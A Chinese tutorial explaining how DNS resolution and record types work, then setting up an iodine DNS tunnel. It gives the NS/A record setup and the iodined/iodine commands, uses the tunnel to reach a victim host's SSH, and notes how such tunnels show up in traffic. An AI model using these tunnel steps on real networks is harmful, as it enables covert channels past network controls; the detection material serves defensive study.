1、dns是什么
DNS是 Domain Name System 的縮寫,也就是 域名解析系統,它的作用非常簡單,就是根據域名查出對應的 IP地址。
2、域名的層級
主機名.次級域名.頂級域名.根域名
baike.baidu.com.root
3、dns解析過程
來自:https://mp.weixin.qq.com/s/aPa1sYBmb4j1PtyEOkipdw
先查找本地 DNS 緩存(自己的電腦上),有則返回,沒有則進入下一步 查看本地 hosts 文件有沒有相應的映射記錄,有則返回,沒有則進入下一步 向本地 DNS 服務器(一般都是你的網絡接入服務器商提供,比如中國電信,中國移動)發送請求進行查詢,本地DNS服務器收到請求后,會先查下自己的緩存記錄,如果查到了直接返回就結束了,如果沒有查到,本地DNS服務器就會向DNS的根域名服務器發起查詢請求:請問老大, www.163.com 的ip是啥? 根域名服務器收到請求后,看到這是個 .com 的域名,就回信說:這個域名是由 .com 老弟管理的,你去問他好了,這是.com老弟的聯系方式(ip1)。 本地 DNS 服務器接收到回信后,照着老大哥給的聯系方式(ip1),馬上給 .com 這個頂級域名服務器發起請求:請問 .com 大大,www.163.com 的ip 是啥? .com 頂級域名服務器接收到請求后,看到這是 163.com 的域名,就回信說:這個域名是 .163.com 老弟管理的,你就去問他就行了,這是他的聯系方式(ip2) 本地 DNS 服務器接收到回信后,按照前輩的指引(ip2),又向 .163.com 這個權威域名服務器發起請求:請問 163.com 大大,請問 www.163.com 的ip是啥? 163.com 權威域名服務器接收到請求后,確認了是自己管理的域名,馬上查了下自己的小本本,把 www.163.com 的ip告訴了 本地DNS服務器。 本地DNS服務器接收到回信后,非常地開心,這下總算拿到了www.163.com的ip了,馬上把這個消息告訴了要求查詢的客戶(就是你的電腦)。由於這個過程比較漫長,本地DNS服務器為了節省時間,也為了盡量不去打擾各位老大哥,就把這個查詢結果偷偷地記在了自己的小本本上,方便下次有人來查詢時,可以快速回應。
總結起來就三句話(一會的dns現網環境隧道,就是在子域名加了一條ns記錄)
從"根域名服務器"查到"頂級域名服務器"的NS記錄和A記錄(IP地址) 從"頂級域名服務器"查到"次級域名服務器"的NS記錄和A記錄(IP地址) 從"次級域名服務器"查出"主機名"的IP地址
4、dns緩存時間
我們在配置 DNS 解析的時候,會有一個 TTL 參數(Time To Live),意思就是這個緩存可以存活多長時間,過了這個時間,本地 DNS 就會刪除這條記錄,刪除了緩存后,你再訪問,就要重新走一遍上面的流程,獲取最新的地址。
5、dns的記錄類型
常見的 DNS 記錄類型如下
A:地址記錄(Address),返回域名指向的IP地址。
NS:域名服務器記錄(Name Server),返回保存下一級域名信息的服務器地址。該記錄只能設置為域名,不能設置為IP地址。
MX:郵件記錄(Mail eXchange),返回接收電子郵件的服務器地址。
CNAME:規范名稱記錄(Canonical Name),返回另一個域名,即當前查詢的域名是另一個域名的跳轉。
PTR:逆向查詢記錄(Pointer Record),只用於從IP地址查詢域名。
6、iodine搭建dns隧道
6.1 公網環境(中繼實現dns隧道,本地局域網環境,不需要這一步)
第一步:添加一條NS記錄
我這里的設置是dns.tutuuu.top
指向dnsns.tutuuu.top
,想要解析dns.tutuuu.top
這個子域名,就需要去訪問dnsns.tutuuu.top
這個域名服務器
第二步:添加一條A記錄
將域名服務器解析到咱們的控制的公網服務器IP地址,我的域名服務器是dnsns.tutuuu.top
,對應的公網IP地址是123.56.6.xxx
6.2 使用iodine搭建dns隧道
-f 前台顯示 -P 設置通信密碼(我的密碼是hackbijipasswd) 10.0.0.1 (我設置的服務器私有網址,也可以設置為其他地址) dnsns.tutuuu.top
服務端執行
iodined -fP 123passwd 10.0.0.1 dnsns.tutuuu.top
可以看到服務端建立了一個10網段的dns0的網卡
客戶端執行
iodine -fP 123passwd -T txt -r 192.168.8.190 dnsns.tutuuu.top
訪問10.0.0.0
網段的流量都會走dns0
隧道接口
查看當前路由
訪問被害者主機的ssh
流量分析
使用-T參數,可以指定dns傳輸的查詢類型,下圖使用的是txt類型傳輸
默認不加-T參數,dns隧道查詢使用的是10這個type,可以作為在流量中發現dns隧道的一個判定依據。
支持NULL,TXT,SRV,MX,CNAME,A等多種查詢請求類型。
在正常的DNS流量中。A記錄類型的流量占20%-30%,CNAME記錄為38%-48%,AAAA記錄占25%,NS記錄只有5%,TXT記錄只有1%-2%。然而為了獲取更高的帶寬,一部分的DNS隱蔽信道工具如Iodine。在默認配置下會使用TXT或NULL等不常用的記錄類型。
寫完了,發現綠盟之前總結過,各位看官可以研讀一下。
http://blog.nsfocus.net/dns-tunnel-communication-characteristics-detection/?from=timeline